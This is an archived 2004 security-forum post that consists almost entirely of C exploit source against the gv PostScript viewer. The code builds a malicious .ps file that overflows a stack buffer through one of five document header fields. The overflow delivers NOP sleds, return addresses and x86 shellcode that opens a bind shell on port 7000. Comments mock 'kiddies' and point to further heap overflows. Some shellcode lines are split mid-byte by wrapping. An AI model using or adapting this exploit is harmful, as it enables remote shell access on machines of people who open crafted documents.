Gv Postscript Viewer Exploit Part Deux, Infamous42

Full Version: Gv Postscript Viewer Exploit Part Deux, Infamous42

GovernmentSecurity.org > The Archives > Exploit Articles

nowhere

Aug 17 2004, 07:10 AM

CODE

/*
* gv postscript viewer exploit part deux, infamous42md AT hotpop DOT com
*
* ok kiddies you've got choices here! we can overflow the text buffer at 5
* different places, we can also overflow the heap at 2 places, and ooh i
* bet if you look around there are tons of other places as well!
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define NOP 0x90
#define NNOPS 512
#define die(x) do{perror(x); exit(EXIT_FAILURE);}while(0)
#define BS 0x10000
#define RETADDR_BYTES 400
#define PS_COMMENT "%!PS-Adobe- ASDF"
#define BOUND_BOX "%%BoundingBox:"
#define ORIENTATION "%%Orientation:"
#define PAGE_ORDER "%%PageOrder:"
#define PAGES "%%Pages:"
#define OUTFILE "h4x0ring_sacr3ts_uncuv3red.ps"

/* call them on port 7000, mine */
char remote[] =
" \x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x
04\x24\x02\x89\xe6"
" \xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\x
b0\x01\xcd\x80\x50"
" \x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\x
cd\x80\x89\xc5\x6a"
" \x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x
01\x55\x89\xe1\x31"
" \xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x
50\x55\x89\xe1\xb0"
" \x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\x
c9\xb0\x3f\xcd\x80"
" \x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x
73\x68\x68\x2f\x62"
" \x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x3b\x2c\x
30\xcd\x80";

int main(int argc, char **argv)
{
int len, x, fd;
char buf[BS];
u_char methodman = 0x0;
u_long retaddr;

if(argc < 3){
fprintf(stderr, "Usage: %s < retaddr > < ownage method c b o p r>\n",
argv[0]); return EXIT_FAILURE;
}
sscanf(argv[1], "%lx", &retaddr);
methodman = argv[2][0];

/* create 3vil buf */
memset(buf, NOP, BS);
if(methodman == 'b')
len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, BOUND_BOX);
else if(methodman == 'c')
len = snprintf(buf, BS-1, "%s", PS_COMMENT);
else if(methodman == 'o')
len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, ORIENTATION);
else if(methodman == 'p')
len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, PAGES);
else if(methodman == 'r')
len = snprintf(buf, BS-1, "%s\n%s", PS_COMMENT, PAGE_ORDER);
else{
printf(
"Cmon man pick a funkin method!!\n"
"oh i see, 5 is not enough to choose from??\n"
"don't worry, there are more, just read the source to find them\n"
"ok fine, you don't want to overflow the stack, understandable.\n"
"there are also some heap overflows you picky bastard\n"
"grep -n sscanf\n");
return EXIT_FAILURE;
}

for(x = 0; x < RETADDR_BYTES - 3; x += sizeof(retaddr))
memcpy(buf+x+len, &retaddr, sizeof(retaddr));
len += x + NNOPS;
strcpy(buf+len, remote);
strcat(buf+len, "\n");
len += strlen(remote) + 2;

/* create the 3vil file */
if( (fd = open(OUTFILE, O_RDWR|O_CREAT, 0666)) < 0)
die("open");

if(write(fd, buf, len) < 0)
die("write");

close(fd);

return 0;
}

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.